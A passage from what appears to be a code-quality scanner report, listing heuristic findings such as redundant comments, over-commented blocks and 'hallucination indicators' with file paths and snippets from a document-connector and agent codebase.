LOW…nse-validation/oauth_app/integration_test_oauthApps.py88 def _setup(self, oauth_apps_client: OAuthAppsClient) -> None:CODE
LOW…nse-validation/oauth_app/integration_test_oauthApps.py96 def _setup_seeded(self, seeded_apps: dict) -> None:CODE
LOWintegration-tests/helper/pipeshub_client.py175 def _set_token_expiry_from_token_response(self, data: Dict[str, Any]) -> None:CODE
LOWintegration-tests/helper/xdist_shared.py34logger = logging.getLogger(__name__)CODE
LOWintegration-tests/helper/kb_sharing.py108def _update_team(client: PipeshubClient, team_id: str, body: dict) -> None:CODE
LOWintegration-tests/helper/vector_rebuild.py174def set_rebuild_flag(client: PipeshubClient, enabled: bool) -> None:CODE
LOW…egration-tests/helper/arango_test_provider/__init__.py5__all__ = ["TestArangoHTTPProvider"]CODE
LOWintegration-tests/helper/http/request_id.py62def set_current_test(nodeid: Optional[str]) -> None:CODE
LOWintegration-tests/helper/neo4j_integration/__init__.py5__all__ = ["TestNeo4jProvider"]CODE
LOWbackend/python/app/edition_containers.py5__all__ = ["QueryAppContainer", "ConnectorAppContainer", "IndexingAppContainer"]CODE
LOW…nd/python/app/connectors/core/sync/sync_coordinator.py355def set_coordinator(coordinator: SyncCoordinator) -> None:CODE
LOW⚡…end/python/app/connectors/core/sync/sync_dispatcher.py114def set_dispatcher(dispatcher: SyncDispatcher) -> None:CODE
LOW…ctors/core/base/token_service/token_refresh_service.py89 def set_messaging_producer(self, producer: IMessagingProducer) -> None:CODE
LOW…/connectors/core/base/token_service/startup_service.py28 def set_messaging_producer(self, producer: IMessagingProducer) -> None:CODE
LOW…/base/data_processor/data_source_entities_processor.py3198 async def update_record_group_name(self, folder_id: str, new_name: str, old_name: str = None, connector_id: str = NoCODE
LOW…thon/app/connectors/core/base/data_store/data_store.py402 async def update_sync_point(self, sync_point: "SyncPoint") -> None:CODE
LOW…pp/connectors/core/base/data_store/graph_data_store.py992 async def update_sync_point(self, sync_point_key: str, sync_point_data: dict) -> None:CODE
LOWbackend/python/app/connectors/utils/value_mapper.py20logger = logging.getLogger(__name__)CODE
LOW…on/app/connectors/sources/demo/harness/answer_judge.py461__all__ = [CODE
696 more matches not shown…
AI Structural Patterns958 hits · 508 pts
SeverityFileLineSnippetContext
LOW…on/enterprise-search/agents/integration_test_agents.py63CODE
LOW…on/enterprise-search/agents/integration_test_agents.py111CODE
LOWintegration-tests/helper/clients/connectors_client.py23CODE
LOW…nd/python/app/connectors/core/registry/tool_builder.py74CODE
LOW…nd/python/app/connectors/core/registry/auth_builder.py263CODE
LOW…hon/app/connectors/core/registry/connector_registry.py1049CODE
LOW…nd/python/app/connectors/sources/web/fetch_strategy.py782CODE
LOW…/python/app/connectors/sources/web/crawl4ai_fetcher.py260CODE
LOW…kend/python/app/connectors/sources/linear/connector.py4087CODE
LOW…python/app/connectors/sources/localKB/api/kb_router.py937CODE
LOW…python/app/connectors/sources/localKB/api/kb_router.py977CODE
LOW…python/app/connectors/sources/localKB/api/kb_router.py1037CODE
LOW…python/app/connectors/sources/localKB/api/kb_router.py1680CODE
LOW…connectors/sources/localKB/api/knowledge_hub_router.py191CODE
LOW…connectors/sources/localKB/api/knowledge_hub_router.py250CODE
LOW…tors/sources/localKB/handlers/knowledge_hub_service.py135CODE
LOW…/app/connectors/sources/localKB/handlers/kb_service.py2570CODE
LOW…/app/connectors/sources/localKB/handlers/kb_service.py2664CODE
LOW…/app/connectors/sources/localKB/handlers/kb_service.py2757CODE
LOW…/app/connectors/sources/localKB/handlers/kb_service.py2865CODE
LOWbackend/python/app/connectors/api/router.py1748CODE
LOWbackend/python/app/connectors/api/router.py1993CODE
LOWbackend/python/app/connectors/api/artifacts_router.py48CODE
LOWbackend/python/app/config/ai_models/registry.py15CODE
LOW…python/app/agent_loop_lib/tools/builtin/data/skills.py565CODE
LOWbackend/python/app/agent_loop_lib/transport/openai.py152CODE
LOW…ckend/python/app/agent_loop_lib/transport/anthropic.py73CODE
LOW…end/python/app/agent_loop_lib/sandbox/coding/docker.py166CODE
LOWbackend/python/app/agents/chat_modes/bridge.py319CODE
LOWbackend/python/app/agents/agent_loop/intent.py301CODE
LOWbackend/python/app/agents/agent_loop/stream_bridge.py249CODE
LOW…pp/agents/actions/jira_data_center/jira_data_center.py1152CODE
LOW…pp/agents/actions/jira_data_center/jira_data_center.py1299CODE
LOW…ckend/python/app/agents/actions/freshdesk/freshdesk.py240CODE
LOW…ckend/python/app/agents/actions/freshdesk/freshdesk.py550CODE
LOW…/app/agents/actions/knowledge_graph/knowledge_graph.py350CODE
LOW…/app/agents/actions/knowledge_graph/knowledge_graph.py1063CODE
LOW…python/app/agents/actions/knowledge_graph/navigator.py227CODE
LOW…thon/app/agents/actions/knowledge_graph/ops/listing.py124CODE
LOW…thon/app/agents/actions/knowledge_hub/knowledge_hub.py178CODE
LOW…ents/actions/google/google_calendar/google_calendar.py117CODE
LOW…ents/actions/google/google_calendar/google_calendar.py279CODE
LOW…/python/app/agents/actions/google/calendar/calendar.py327CODE
LOW…/python/app/agents/actions/google/calendar/calendar.py406CODE
LOW…/python/app/agents/actions/google/calendar/calendar.py510CODE
LOWbackend/python/app/agents/actions/google/drive/drive.py314CODE
LOW…python/app/agents/actions/microsoft/outlook/outlook.py1598CODE
LOWbackend/python/app/agents/actions/clickup/clickup.py850CODE
LOWbackend/python/app/agents/actions/clickup/clickup.py926CODE
LOWbackend/python/app/agents/actions/clickup/clickup.py997CODE
LOWbackend/python/app/agents/actions/clickup/clickup.py1210CODE
LOW…end/python/app/agents/actions/confluence/confluence.py1686CODE
LOW…end/python/app/agents/actions/confluence/confluence.py1928CODE
LOWbackend/python/app/agents/actions/zoom/zoom.py706CODE
LOW…end/python/app/agents/actions/salesforce/salesforce.py276CODE
LOWbackend/python/app/agents/actions/lumos/lumos.py729CODE
LOWbackend/python/app/agents/actions/slack/slack.py957CODE
LOWbackend/python/app/agents/actions/slack/slack.py2239CODE
LOWbackend/python/app/utils/url_fetcher.py676CODE
LOWbackend/python/app/utils/streaming.py904CODE
898 more matches not shown…
Over-Commented Block526 hits · 436 pts
SeverityFileLineSnippetContext
LOWinstall.sh1#!/usr/bin/env bashCOMMENT
LOWfrontend/app/components/electron/server-url-setup.tsx41COMMENT
LOWfrontend/app/(main)/chat/streaming.ts481 // turn does not drop it. The grace timer will no-op once `runId` changes.COMMENT
LOWfrontend/app/(main)/chat/streaming.ts621 //COMMENT
LOWfrontend/app/(main)/chat/streaming.ts961 // If no previous state exists (brand-new conversation) we leaveCOMMENT
LOWfrontend/app/(main)/chat/api.ts721 const { data } = await apiClient.get<{ status: string; models: AvailableLlmModel[]; message: string }>(COMMENT
LOWfrontend/app/(main)/chat/api.ts741 // include: 'counts',COMMENT
LOWfrontend/app/(main)/chat/components/chat-input.tsx761 : agentChatToolGroups;COMMENT
LOW…p/(main)/chat/components/message-area/message-list.tsx781 // Tracks the last message's DOM size changes (streaming content growing,COMMENT
LOW…p/(main)/chat/components/message-area/message-list.tsx861 const observer = new ResizeObserver(() => {COMMENT
LOW…(main)/chat/components/message-area/answer-content.tsx161 * code (which never start with `<` unless they're HTML being written asCOMMENT
LOW…/(main)/chat/components/message-area/chat-response.tsx481 isStreaming && streamingArtifacts && streamingArtifacts.length > 0COMMENT
LOW…message-area/response-tabs/citations/citation-card.tsx21// Structure:COMMENT
LOW…(main)/workspace/components/entity-row-action-menu.tsx281// ────────────────────────────────────────────────────────────────COMMENT
LOW…ntend/app/(main)/workspace/authentication/constants.ts1// ============================================================COMMENT
LOW…ontend/app/(main)/knowledge-base/components/header.tsx221 // if (!breadcrumbs || breadcrumbs.length === 0) {COMMENT
LOWfrontend/tests/e2e/chat/chat-streaming.spec.ts381 });COMMENT
LOWfrontend/scripts/deploy-dev.sh1#!/usr/bin/env bashCOMMENT
LOWfrontend/lib/hooks/use-server-speech-recognition.ts41COMMENT
LOWfrontend/lib/hooks/use-server-speech-synthesis.ts21 speak: (text: string) => void;COMMENT
LOWfrontend/lib/hooks/use-server-speech-synthesis.ts161 //COMMENT
LOWfrontend/lib/api/axios-instance.ts41 'Content-Type': 'application/json',COMMENT
LOWintegration-tests/connectors/github_teams/constants.py41# Sync waits. Generous because ds_call retries 429/5xx three times with jitter andCOMMENT
LOWintegration-tests/connectors/github_teams/constants.py101 return "/".join((GH_IT_PATH_ROOT, GH_IT_RUN_ID, *parts))COMMENT
LOWintegration-tests/connectors/github_teams/constants.py121# The primary repo issue whose body + comments + non-image attachment backCOMMENT
LOW…nnectors/github_teams/github_teams_integration_test.py141COMMENT
LOWintegration-tests/connectors/gitlab/constants.py101# ---------------------------------------------------------------------------COMMENT
LOWintegration-tests/resilience/test_dependency_outages.py181 assert all(counts.values()), f"after a {outage.name}, some COMPLETED documents have no vectors: {counts}"COMMENT
LOWintegration-tests/helper/config.py21# ------------------------------------------------------------------ #COMMENT
LOWbackend/nodejs/apps/tsconfig.json21 // "jsxFactory": "", /* Specify the JSX factory function used when targeting React JCOMMENT
LOWbackend/nodejs/apps/tsconfig.json41 // "rewriteRelativeImportExtensions": true, /* Rewrite '.ts', '.tsx', '.mts', and '.cts' file extensions inCOMMENT
LOWbackend/nodejs/apps/tsconfig.json61 // "noEmit": true, /* Disable emitting files from a compilation. */COMMENT
LOW…/libs/services/redis/connectionProviderFactory.test.ts281 RedisConnectionProviderFactory.create(COMMENT
LOW…s/apps/tests/modules/auth/services/iam.service.test.ts61COMMENT
LOW…ps/tests/modules/mcp/controller/mcp.controller.test.ts701 expect(next.firstCall.args[0]).to.equal(error)COMMENT
LOW…ps/tests/modules/mcp/controller/mcp.controller.test.ts721 // error: 'test error message',COMMENT
LOW…ps/tests/modules/mcp/controller/mcp.controller.test.ts741 //COMMENT
LOW…ps/tests/modules/mcp/controller/mcp.controller.test.ts761 // expect(errorStub.firstCall.args[1].userId).to.be.undefinedCOMMENT
LOWbackend/nodejs/apps/src/app.ts361 // (e.g. /toolsets/oauth/callback/Gmail) for redirect-URI parity withCOMMENT
LOW…d/nodejs/apps/src/libs/middlewares/error.middleware.ts101 process.env.NODE_ENV === 'development' || process.env.NODE_ENV === 'dev';COMMENT
LOW…/modules/configuration_manager/validator/validators.ts401COMMENT
LOW…/modules/configuration_manager/validator/validators.ts481COMMENT
LOW…s/src/modules/enterprise_search/constants/constants.ts41// Create a type from the object valuesCOMMENT
LOW…modules/user_management/controller/users.controller.ts201 100,COMMENT
LOW…modules/user_management/controller/users.controller.ts221 // behaviour. Each returned record carries its `kind`, which is what letsCOMMENT
LOW…ules/user_management/routes/service-accounts.routes.ts41COMMENT
LOW…s/user_management/services/service-accounts.service.ts241 // there is nothing to revoke, and restoring an identity whose oldCOMMENT
LOW…c/modules/oauth_provider/services/oauth.app.service.ts201 }COMMENT
LOWbackend/python/pyproject.toml381reportUnusedVariable = "error"COMMENT
LOWbackend/python/app/parsing_main.py181 # ----------------------------------------------------------------COMMENT
LOWbackend/python/app/indexing_main.py561 # QUEUED records on a disabled connector are unreachable by the scanCOMMENT
LOWbackend/python/app/indexing_main.py1141 record_owner,COMMENT
LOWbackend/python/app/indexing_main.py1341 claim={"lastRepublishedAt": get_epoch_timestamp_in_ms()},COMMENT
LOWbackend/python/app/connectors_main.py301 # Use pre-resolved data_store passed from lifespan to avoid coroutine reuseCOMMENT
LOWbackend/python/app/embedding_main.py61COMMENT
LOWbackend/python/app/connectors/core/sync/sync_runner.py301 )COMMENT
LOWbackend/python/app/connectors/core/sync/task_manager.py241COMMENT
LOW…/base/data_processor/data_source_entities_processor.py1281 elif permission.entity_type == EntityType.ORG.value:COMMENT
LOW…/base/data_processor/data_source_entities_processor.py1581 # A brand-new record must be stored NOT_STARTED, not the model'sCOMMENT
LOW…/base/data_processor/data_source_entities_processor.py1621 # the real parent record arrives to fill it in.COMMENT
466 more matches not shown…
Redundant / Tautological Comments327 hits · 412 pts
SeverityFileLineSnippetContext
LOWintegration-tests/mcp_package/conftest.py138 # Set explicitly to empty when a test wants the unauthenticatedCOMMENT
LOWbackend/python/app/docling_main.py166 # Check if Docling service is healthyCOMMENT
LOWbackend/python/app/docling_main.py179 # Check if service has health_check method and call itCOMMENT
LOWbackend/python/app/indexing_main.py294 # Check if connector is disabled or deleted. Not for aCOMMENT
LOWbackend/python/app/connectors_main.py964 # Check if path should be excluded from authenticationCOMMENT
LOWbackend/python/app/query_main.py429 # Check if path should be excluded from authenticationCOMMENT
LOW…nd/python/app/connectors/core/registry/tool_builder.py117 # Check if required (not Optional and no default)COMMENT
LOW…hon/app/connectors/core/registry/connector_registry.py980 # Check if this is a beta connectorCOMMENT
LOW…hon/app/connectors/core/registry/connector_registry.py1590 # Check if name is unique (excluding current connector)COMMENT
LOW…pp/connectors/core/base/token_service/oauth_service.py474 # Check if this is a duplicate callback (code already used, credentials exist)COMMENT
LOW…pp/connectors/core/base/token_service/oauth_service.py494 # Check if this specific code has already been used (prevent duplicate code usage)COMMENT
LOW⚡…re/base/token_service/toolset_token_refresh_service.py475 # Check if enrichment is neededCOMMENT
LOW…re/base/token_service/toolset_token_refresh_service.py290 # Check if path_parts[2] is a UUID (new format) or toolset type (legacy)COMMENT
LOW…re/base/token_service/toolset_token_refresh_service.py327 # Check if toolset is authenticated and has OAuthCOMMENT
LOW…ctors/core/base/token_service/token_refresh_service.py197 # Check if connector has credentialsCOMMENT
LOW…/base/data_processor/data_source_entities_processor.py3430 # Check if the user group already exists in the DBCOMMENT
LOW…/base/data_processor/data_source_entities_processor.py3517 # Check if the app role already exists in the DBCOMMENT
LOW…/base/data_processor/data_source_entities_processor.py4201 # Check if user already has permission to this targetCOMMENT
LOW…d/python/app/connectors/sources/nextcloud/connector.py284 # Check if it's a collection (folder)COMMENT
LOW…d/python/app/connectors/sources/nextcloud/connector.py844 # Check if parent changed (file/folder moved to different parent)COMMENT
LOW…d/python/app/connectors/sources/nextcloud/connector.py855 # Check if path changed (covers renames within same parent or moves)COMMENT
LOW…d/python/app/connectors/sources/nextcloud/connector.py2190 # Check if it's a folderCOMMENT
LOW…python/app/connectors/sources/azure_files/connector.py1684 # Check if it's a file or directoryCOMMENT
LOW⚡backend/python/app/connectors/sources/box/connector.py2224 # Check if folder already exists in DBCOMMENT
LOWbackend/python/app/connectors/sources/box/connector.py753 # Check if there are more usersCOMMENT
LOWbackend/python/app/connectors/sources/box/connector.py1201 # Check if it's a folder (not a file)COMMENT
LOWbackend/python/app/connectors/sources/box/connector.py2178 # Check if file has a parent folderCOMMENT
LOWbackend/python/app/connectors/sources/box/connector.py2246 # Check if this folder has parents that need to be created first (recursive)COMMENT
LOWbackend/python/app/connectors/sources/web/connector.py3708 # Check if image indexing is enabledCOMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py632 # Check if user is active (not suspended)COMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py1145 # Check if user_email is already in the permissions listCOMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py1502 # Check if it's a 403 error due to insufficient drive membershipCOMMENT
LOW…/app/connectors/sources/google/drive/team/connector.py2241 # Check if file is shared with me (user is not owner and file is shared)COMMENT
LOW…onnectors/sources/google/drive/individual/connector.py1024 # Check if sync point existsCOMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py459 # Check if thread_id/external_record_group_id changed (metadata change)COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py622 # Check if this part is a regular attachment (has filename)COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py944 # Check if history_id exists for incremental syncCOMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py1443 # Check if message already existsCOMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py1899 # Check if email is in format "Name <email@example.com>"COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py1996 # Check if user is active (not suspended)COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py2716 # Check if file_id is a Drive file ID (no tilde, typically longer alphanumeric)COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py2743 # Check if file_id is a combined ID (messageId~partId format)COMMENT
LOW…/app/connectors/sources/google/gmail/team/connector.py3111 # Check if this is a Drive file (no tilde)COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py429 # Check if email is in format "Name <email@example.com>"COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py507 # Check if thread_id/external_record_group_id changed (metadata change)COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py707 # Check if this part is a regular attachment (has filename)COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py1011 # Check if history_id exists for incremental syncCOMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py1418 # Check if file_id is a Drive file ID (no tilde, typically longer alphanumeric)COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py1444 # Check if file_id is a combined ID (messageId~partId format)COMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py1575 # Check if gmail_data_source is initializedCOMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py2106 # Check if message already existsCOMMENT
LOW…onnectors/sources/google/gmail/individual/connector.py2613 # Check if this is a Drive file (no tilde, typically longer alphanumeric)COMMENT
LOW…tors/sources/microsoft/outlook_individual/connector.py629 # Check if folder has childrenCOMMENT
LOW…tors/sources/microsoft/outlook_individual/connector.py1170 # Check if message is deletedCOMMENT
LOW…tors/sources/microsoft/outlook_individual/connector.py1341 # Check if content_type is available, skip attachment if notCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py649 # Check if it's base64 encoded or raw PEMCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py663 # Check if it's base64 encoded or raw PEMCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py1497 # Check if parent is root - if path ends with '/root:' or is '/drive/root:', parent is rootCOMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py1500 # Check if parent is at root level (path ends with '/root:' or '/drive/root:')COMMENT
LOW⚡…ctors/sources/microsoft/sharepoint_online/connector.py1717 # Check if list is hiddenCOMMENT
267 more matches not shown…
Hallucination Indicators32 hits · 400 pts
SeverityFileLineSnippetContext
CRITICAL…d/app/(main)/knowledge-base/__tests__/kb-page.test.tsx1718 const reloads = api.hub.getNodeChildren.mock.calls.filter(([, id]) => id === 'folder-designs');CODE
CRITICAL⚡integration-tests/unit/test_run_folder.py86 h._client.bucket.return_value.list_blobs.assert_called_once_with(prefix="it-r/")CODE
CRITICALintegration-tests/unit/test_run_folder.py126 from azure.core.exceptions import ResourceNotFoundErrorCODE
CRITICAL⚡integration-tests/unit/test_run_folder.py143 from azure.core.exceptions import ResourceNotFoundErrorCODE
CRITICALintegration-tests/helper/connector_lifecycle.py65 from azure.core.exceptions import AzureErrorCODE
CRITICAL…c/modules/notification/service/notification.service.ts161 const room = this.io.sockets.adapter.rooms.get(userId);CODE
CRITICAL…gent_loop_lib/tools/builtin/coordination/agent_tool.py230 preloaded = ctx.scope.turn.run.extra_prompt_sections.get("preloaded_skills")CODE
CRITICALbackend/python/app/agents/agent_loop/hooks/__init__.py7`agent_loop.hooks.middleware.pipeline.Pipeline.use()` expects.STRING
CRITICAL…nd/python/app/agents/agent_loop/hooks/tool_blocking.py9`ctx.scope.turn.run.visible_tools.discard(...)` sketch) is never consultedSTRING
CRITICAL⚡…python/app/agents/agent_loop/hooks/artifact_context.py103 ctx.scope.run.goal.constraints.append(_build_reminder(artifacts, conv_meta))CODE
CRITICAL…ckend/python/app/sources/external/azure/azure_files.py12 from azure.core.exceptions import AzureError, ResourceNotFoundError # type: ignoreCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py616 response = await self.client.invitations.invited_user.service_provisioning_errors.get(request_configuration=CODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py1370 response = await self.client.me.presence.clear_user_preferred_presence.post(request_configuration=config)CODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15380 response = await self.client.policies.cross_tenant_access_policy.templates.multi_tenant_organization_partnerCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15600 response = await self.client.tenant_relationships.multi_tenant_organization.join_request.get(request_configuCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15676 response = await self.client.tenant_relationships.multi_tenant_organization.tenants.get(request_configuratioCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15750 response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenantCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15826 response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenantCODE
CRITICAL⚡…ources/external/microsoft/users_groups/users_groups.py15900 response = await self.client.tenant_relationships.multi_tenant_organization.tenants.by_tenant_id(multiTenantCODE
CRITICALbackend/python/app/sources/client/azure/azure_blob.py6 from azure.core.exceptions import AzureError # type: ignoreCODE
CRITICALbackend/python/app/sources/client/azure/azure_files.py12 from azure.core.exceptions import AzureError # type: ignoreCODE
CRITICAL…/python/tests/unit/connectors/api/test_router_deep2.py388 req.app.state.connector_registry.update_connector_instance.assert_called()CODE
CRITICAL⚡…it/connectors/services/test_event_service_connector.py1339 service.app_container.config_service.return_value.delete_config.assert_not_awaited()CODE
CRITICAL⚡…/unit/agent_loop_lib/transport/test_openai_coverage.py394 transport._client.chat.completions.create.assert_awaited_once()CODE
CRITICAL…n/tests/unit/agents/actions/test_confluence_toolset.py2281 assert conf.client.get_pages_in_space.call_args.kwargs.get("sort") is NoneCODE
CRITICAL⚡…sources/client/test_azure_blob_client_full_coverage.py62 from azure.core.exceptions import AzureError as _AzureErrorCODE
CRITICAL…n/tests/unit/sources/client/test_azure_files_client.py638 from azure.core.exceptions import AzureErrorCODE
CRITICAL⚡…sts/unit/services/vector_db/test_opensearch_service.py1082 body = svc.client.update_by_query.call_args.kwargs.get("body") or \CODE
CRITICAL⚡…sts/unit/services/vector_db/test_opensearch_service.py1084 svc.client.update_by_query.call_args.kwargs.get("body", {})CODE
CRITICAL⚡…sts/unit/services/vector_db/test_opensearch_service.py1104 body = svc.client.update_by_query.call_args.kwargs.get("body", {})CODE
CRITICAL⚡…on/tests/unit/services/graph_db/test_demo_exclusion.py75 bind_vars = provider.http_client.execute_aql.await_args.kwargs.get("bind_vars") or provider.http_client.execute_aql.CODE
CRITICALbackend/python/code-generator/azure_blob/azure_blob.py471 ' from azure.core.exceptions import AzureError # type: ignore',CODE
Self-Referential Comments135 hits · 378 pts
SeverityFileLineSnippetContext
MEDIUM⚡install.sh49# This file is at the root of a checkout and the real installer is present.COMMENT
MEDIUM…egration-tests/helper/admin_route_conditional_world.py392 # Creating an OAuth toolset with a client id and secret stores them asCOMMENT
MEDIUM⚡…/base/data_processor/data_source_entities_processor.py988 # Create the edge using specialized method that includes edgeType in UPSERT matchCOMMENT
MEDIUM⚡…/base/data_processor/data_source_entities_processor.py1736 # Create a edge between the base record and the specific record if it doesn't exist - isOfType - File, Mail, MesCOMMENT
MEDIUM⚡…/base/data_processor/data_source_entities_processor.py1745 # Create a permission edge between the record and the app with sync status if it doesn't existCOMMENT
MEDIUM…/base/data_processor/data_source_entities_processor.py648 # Create a new record groupCOMMENT
MEDIUM…/base/data_processor/data_source_entities_processor.py1698 # Create a edge between the record and the parent record if it doesn't exist and if parent_record_id is providedCOMMENT
MEDIUM…/base/data_processor/data_source_entities_processor.py3088 # Define the edge document from child to parent RecordGroupCOMMENT
MEDIUM…/base/data_processor/data_source_entities_processor.py3099 # Create the edge using the same batch methodCOMMENT
MEDIUM…d/python/app/connectors/sources/nextcloud/connector.py1325 # Create a single app user for the current userCOMMENT
MEDIUM…d/python/app/connectors/sources/nextcloud/connector.py1338 # Create a record group for the personal driveCOMMENT
MEDIUM…/app/connectors/sources/google/drive/team/connector.py1111 # Create a fallback permission with READ access for the current userCOMMENT
MEDIUM…/app/connectors/sources/google/drive/team/connector.py1345 # Create a record group for user's personal driveCOMMENT
MEDIUM⚡…ctors/sources/microsoft/sharepoint_online/connector.py2693 # Create a unique key for the group (use group_id as identifier)COMMENT
MEDIUM…ctors/sources/microsoft/sharepoint_online/connector.py678 # Create a single temporary file with both private key and certificateCOMMENT
MEDIUM…ctors/sources/microsoft/sharepoint_online/connector.py1341 # Create a composite ID that includes drive_id for root foldersCOMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py469 # Create a list of concurrent tasks to get the details for each roleCOMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py829 # Create a map for quick user lookup by IDCOMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py837 # Create the AppRole object for the role.COMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py953 # Create a permission object linking this user to this role.COMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py1087 # Create the AppRole objectCOMMENT
MEDIUM…d/python/app/connectors/sources/bookstack/connector.py1419 # Define the required permissions for READ and WRITE accessCOMMENT
MEDIUM…d/python/app/connectors/sources/notion/block_parser.py2721 # Create the groupCOMMENT
MEDIUM…kend/python/app/connectors/sources/notion/connector.py3251 # Create a map of block source_id -> Block for quick lookupCOMMENT
MEDIUM…kend/python/app/connectors/sources/zammad/connector.py2895 # Create the record if it doesn't existCOMMENT
MEDIUM…kend/python/app/connectors/sources/zammad/connector.py3196 # Create the record if it doesn't existCOMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py1190 # Create a list of folders to sync: None for personal, plus all shared folder IDsCOMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py1479 # Create a time range that starts from "now"COMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py2034 # Create the AppUserGroup and permissions (reused from _sync_user_groups section 3b-3c)COMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py2092 # Create the AppUserGroup object (from _sync_user_groups section 3b)COMMENT
MEDIUM…end/python/app/connectors/sources/localKB/connector.py149 # Create a scoped JWT token for storage service authenticationCOMMENT
MEDIUM…end/python/app/connectors/sources/localKB/connector.py226 # Create a scoped JWT token for storage service authenticationCOMMENT
MEDIUMbackend/python/app/core/celery_app.py21# Create the Celery instance at module levelCOMMENT
MEDIUMbackend/python/app/agents/actions/utils.py57 # Create a temporary loop as last resortCOMMENT
MEDIUMbackend/python/app/agents/actions/google/meet/meet.py258 # Create the Meet spaceCOMMENT
MEDIUMbackend/python/app/agents/actions/jira/jira.py161 # Create a new dict to avoid modification during iterationCOMMENT
MEDIUMbackend/python/app/agents/actions/jira/jira.py1133 # Create a copy to avoid modifying the originalCOMMENT
MEDIUMbackend/python/app/utils/query_decompose.py240 # Create the processing chainCOMMENT
MEDIUMbackend/python/app/utils/chat_helpers.py763# Create a logger for this moduleCOMMENT
MEDIUMbackend/python/app/utils/chat_helpers.py3324 # Create the Block structureCOMMENT
MEDIUMbackend/python/app/sandbox/docker_executor.py441 # Create the target directory then extract the deps tar intoCOMMENT
MEDIUM⚡…ckend/python/app/sources/external/nextcloud/example.py138 # Create a Public Link Share (Type 3)COMMENT
MEDIUM…kend/python/app/sources/external/google/drive/drive.py884 # Create a file-like object from the contentCOMMENT
MEDIUM…kend/python/app/sources/external/google/drive/drive.py888 # Create the file with media uploadCOMMENT
MEDIUMbackend/python/app/sources/external/linear/example.py94 # Create a new issue (commented out due to API limitations)COMMENT
MEDIUM…ckend/python/app/sources/external/bookstack/example.py48 # Create the data sourceCOMMENT
MEDIUMbackend/python/app/sources/external/zammad/example.py62 # Create a new ticketCOMMENT
MEDIUM…nd/python/app/sources/external/dropbox/pretty_print.py6# Define a recursive type for JSON-serializable objectsCOMMENT
MEDIUMbackend/python/app/sources/external/dropbox/example.py92 # # Create a folderCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py192 # Create a new dashboardCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py244 # Create a cohortCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py291 # Create a feature flagCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py353 # Create an actionCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py427 # Create an annotationCOMMENT
MEDIUMbackend/python/app/sources/external/posthog/example.py493 # Create the data sourceCOMMENT
MEDIUMbackend/python/app/api/routes/agent.py2679 # Create the org permission edgeCOMMENT
MEDIUMbackend/python/app/events/processor.py2092 # Create a file-like stream from the JSON contentCOMMENT
MEDIUMbackend/python/app/modules/parsers/pptx/pptx_parser.py27 # Create a BytesIO object from the bytesCOMMENT
MEDIUMbackend/python/app/modules/parsers/pptx/pptx_parser.py30 # Create a DocumentStreamCOMMENT
MEDIUM…kend/python/app/modules/parsers/sql/sql_view_parser.py74 # Create the main BlockGroup for the View (contains all needed data)COMMENT
75 more matches not shown…
Cross-Language Confusion89 hits · 376 pts
SeverityFileLineSnippetContext
HIGHintegration-tests/unit/test_sse_envelope_schema.py50 '"downloaded_bytes":567000000,"total_bytes":1340000000,"error":null,"timestamp":1789072618883}'CODE
HIGHintegration-tests/resilience/test_storage_unwritable.py95 "pipeshub-ai", ["sh", "-c", f"[ -d {LOCAL_STORAGE_ROOT}/{LOCAL_STORAGE_MOUNT} ] && echo local || echo other"]CODE
HIGH…response-validation/helper/openapi_schema_validator.py66 # `{}` and `{type: null}`, and oneOf requires exactly one match.COMMENT
HIGH…end/python/app/connectors/sources/s3/base_connector.py1138 # Root-level items: parent must be null, not the bucketCOMMENT
HIGH…end/python/app/connectors/sources/s3/base_connector.py1604 # Root-level items: parent must be null, not the bucketCOMMENT
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py168 " if (!w.__vstab || len !== w.__vstab) {"CODE
HIGH⚡…/python/app/connectors/sources/web/crawl4ai_fetcher.py174 " if (main && len >= 100 && stable >= 800) return true;"CODE
